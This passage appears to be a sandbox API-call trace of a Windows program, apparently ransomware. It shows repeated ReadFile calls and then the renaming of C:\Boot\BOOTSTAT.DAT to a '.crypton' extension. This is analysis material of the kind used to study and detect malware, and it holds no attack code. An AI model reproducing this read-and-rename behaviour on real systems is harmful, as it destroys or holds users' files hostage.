ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.583] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.585] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.586] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.588] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.627] AreFileApisANSI () returned 1 [0068.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ad630, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0068.627] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2c) returned 0x556cb0 [0068.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ad630, cbMultiByte=-1, lpWideCharStr=0x556cb0, cchWideChar=22 | out: lpWideCharStr="C:\\\\Boot\\BOOTSTAT.DAT") returned 22 [0068.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x543318, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0068.627] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3c) returned 0x524400 [0068.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x543318, cbMultiByte=-1, lpWideCharStr=0x524400, cchWideChar=30 | out: lpWideCharStr="C:\\\\Boot\\BOOTSTAT.DAT.crypton") returned 30 [0068.627] MoveFileExW (lpExistingFileName="C:\\\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\\\Boot\\BOOTSTAT.DAT.crypton" (normalized: "c:\\boot\\bootstat.dat.crypton"), dwFlags=0x2) returned 1 [0068.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524400 | out: hHeap=0x510000) returned 1 [0068.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543318 | out: hHeap=0x510000) returned 1 [0068.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0068.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0068.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.628] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.628] AreFileApisANSI () returned 1 [0068.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5438b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0068.628] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2c) returned 0x556cb0 [0068.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5438b8, cbMultiByte=-1, lpWideCharStr=0x556cb0, cchWideChar=22 | out: lpWideCharStr="C:\\\\Boot\\BOOTSTAT.DAT") returned 22 [0068.628] CreateFileW (lpFileName="C:\\\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0068.628] GetLastError () returned 0x2 [0068.628] AreFileApisANSI () returned 1 [0068.628] 